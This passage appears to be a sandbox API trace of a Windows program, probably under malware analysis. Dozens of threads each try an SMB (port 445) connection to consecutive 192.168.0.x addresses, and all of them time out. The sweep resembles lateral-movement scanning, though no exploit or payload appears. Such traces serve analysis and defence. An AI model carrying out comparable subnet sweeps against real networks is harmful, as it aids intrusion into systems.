[0187.194] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x24eede10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.971] CoUninitialize ()
Thread:
id = 91
os_tid = 0x2a8
[0163.534] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.535] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xf00
[0163.536] WSAConnect (in: s=0xf00, name=0x271e6f8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.78"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.241] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2505ded0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.965] CoUninitialize ()
Thread:
id = 92
os_tid = 0xb78
[0163.544] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.545] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xf20
[0163.545] WSAConnect (in: s=0xf20, name=0x271ee10*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.79"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.303] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2528e010, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.957] CoUninitialize ()
Thread:
id = 93
os_tid = 0xb5c
[0163.553] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.554] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xf40
[0163.556] WSAConnect (in: s=0xf40, name=0x271f528*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.80"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.349] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2493e0f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0187.391] CoUninitialize ()
Thread:
id = 94
os_tid = 0x618
[0163.566] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.567] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xf60
[0163.569] WSAConnect (in: s=0xf60, name=0x271fc40*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.81"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.393] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2455e230, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.953] CoUninitialize ()
Thread:
id = 95
os_tid = 0xb20
[0163.580] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.581] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xf80
[0163.582] WSAConnect (in: s=0xf80, name=0x2720358*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.82"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.427] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2539dc90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0187.469] CoUninitialize ()
Thread:
id = 96
os_tid = 0xab0
[0163.593] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.594] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xfa0
[0163.594] WSAConnect (in: s=0xfa0, name=0x2720a70*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.83"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.471] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x254cdb50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.941] CoUninitialize ()
Thread:
id = 97
os_tid = 0xb30
[0163.602] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.603] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xfc0
[0163.604] WSAConnect (in: s=0xfc0, name=0x2721188*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.84"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.506] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2573dc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.926] CoUninitialize ()
Thread:
id = 98
os_tid = 0xb90
[0163.611] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.612] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xfe0
[0163.613] WSAConnect (in: s=0xfe0, name=0x27218a0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.85"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.553] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2561dcb0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.619] CoUninitialize ()
Thread:
id = 99
os_tid = 0x524
[0163.619] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.620] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1004
[0163.621] WSAConnect (in: s=0x1004, name=0x2721fb8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.86"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.634] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2518dd30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.922] CoUninitialize ()
Thread:
id = 100
os_tid = 0x180
[0163.631] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.632] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1024
[0163.633] WSAConnect (in: s=0x1024, name=0x27226d0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.87"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.677] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x259edc10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.914] CoUninitialize ()
Thread:
id = 101
os_tid = 0xb0
[0163.650] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.651] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1044
[0163.652] WSAConnect (in: s=0x1044, name=0x2722de8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.88"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.724] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2588dc90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.908] CoUninitialize ()
Thread:
id = 102
os_tid = 0xb10
[0163.659] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.660] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1064
[0163.660] WSAConnect (in: s=0x1064, name=0x2723500*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.89"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.771] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x25b5dc50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.903] CoUninitialize ()
Thread:
id = 103
os_tid = 0xbcc
[0163.667] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.668] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1084
[0163.669] WSAConnect (in: s=0x1084, name=0x2723c18*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.90"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.818] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x25d6dd70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.893] CoUninitialize ()
Thread:
id = 104
os_tid = 0x2dc
[0163.679] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.680] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x10a4
[0163.681] WSAConnect (in: s=0x10a4, name=0x2724330*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.91"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.865] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2601d830, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.890] CoUninitialize ()
Thread:
id = 105
os_tid = 0x5d8
[0163.688] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.689] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x10c4
[0163.689] WSAConnect (in: s=0x10c4, name=0x2724a48*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.92"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.911] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x25ebd990, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0187.956] CoUninitialize ()
Thread:
id = 106
os_tid = 0xb60
[0163.705] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.706] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x10e4
[0163.708] WSAConnect (in: s=0x10e4, name=0x2725160*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.93"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.957] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2622da90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.886] CoUninitialize ()
Thread:
id = 107
os_tid = 0x484
[0163.718] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.719] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1104
[0163.720] WSAConnect (in: s=0x1104, name=0x2725878*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.94"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.989] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2637ea10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.871] CoUninitialize ()
Thread:
id = 108
os_tid = 0x158
[0163.735] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.737] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1124
[0163.737] WSAConnect (in: s=0x1124, name=0x2725f90*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.95"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.036] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2660ecd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.867] CoUninitialize ()
Thread:
id = 109
os_tid = 0x3c4
[0163.755] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.757] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1144
[0163.757] WSAConnect (in: s=0x1144, name=0x27266a8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.96"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.112] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x267be7f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.858] CoUninitialize ()
Thread:
id = 110
os_tid = 0xbd4
[0163.776] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.776] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1164
[0163.777] WSAConnect (in: s=0x1164, name=0x2726dc0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.97"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.145] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x229ae6f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.838] CoUninitialize ()
Thread:
id = 111
os_tid = 0x340
[0163.785] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.787] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1184
[0163.788] WSAConnect (in: s=0x1184, name=0x27274d8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.98"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.192] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2699e9b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.832] CoUninitialize ()
Thread:
id = 112
os_tid = 0x76c
[0163.796] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.797] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x11a4
[0163.797] WSAConnect (in: s=0x11a4, name=0x2727bf0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.99"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.239] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x26b9e8f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.823] CoUninitialize ()
Thread:
id = 113
os_tid = 0x644
[0163.806] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.807] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x11c4
[0163.808] WSAConnect (in: s=0x11c4, name=0x2728308*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.100"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.271] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x26a9e630, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.798] CoUninitialize ()
Thread:
id = 114
os_tid = 0x758
[0163.819] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.819] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x11e4
[0163.820] WSAConnect (in: s=0x11e4, name=0x2728a20*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.101"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.317] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x264fe890, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.777] CoUninitialize ()
Thread:
id = 115
os_tid = 0x614
[0163.837] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.838] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1204
[0163.838] WSAConnect (in: s=0x1204, name=0x2729138*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.102"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.364] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x25c5e9f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0188.408] CoUninitialize ()
Thread:
id = 116
os_tid = 0xa80
[0163.846] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.847] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1224
[0163.848] WSAConnect (in: s=0x1224, name=0x2729850*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.103"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.410] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x26e1e850, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.770] CoUninitialize ()
Thread:
id = 117
os_tid = 0x868
[0163.854] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.855] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1244
[0163.856] WSAConnect (in: s=0x1244, name=0x2729f68*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.104"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.442] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x26fee810, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.716] CoUninitialize ()
Thread:
id = 118
os_tid = 0x710
[0163.863] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.863] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1264
[0163.864] WSAConnect (in: s=0x1264, name=0x272a680*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.105"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.489] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x26c9e510, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.705] CoUninitialize ()
Thread:
id = 119
os_tid = 0x708
[0163.871] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.872] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1284
[0163.872] WSAConnect (in: s=0x1284, name=0x272ad98*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.106"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.535] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2718e5f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.696] CoUninitialize ()
Thread:
id = 120
os_tid = 0xc04
[0163.890] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.891] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x12a4
[0163.891] WSAConnect (in: s=0x12a4, name=0x272b4b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.107"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.582] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x272ae310, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.688] CoUninitialize ()
Thread:
id = 121
os_tid = 0xc08
[0163.942] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.943] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x12c4
[0163.944] WSAConnect (in: s=0x12c4, name=0x272bbe8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.108"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.629] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x274ce3d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.683] CoUninitialize ()
Thread:
id = 122
os_tid = 0xc0c
[0163.961] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.962] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x12e4
[0163.965] WSAConnect (in: s=0x12e4, name=0x272c300*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.109"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.662] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x276be630, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.667] CoUninitialize ()
Thread:
id = 123
os_tid = 0xc10
[0163.977] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.978] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1304
[0163.979] WSAConnect (in: s=0x1304, name=0x272ca18*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.110"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0188.708] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2780e290, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.661] CoUninitialize ()
Thread:
id = 124
os_tid = 0xc14
[0163.987] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.989] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1324
[0163.990] WSAConnect (in: s=0x1324, name=0x272d130*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.111"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
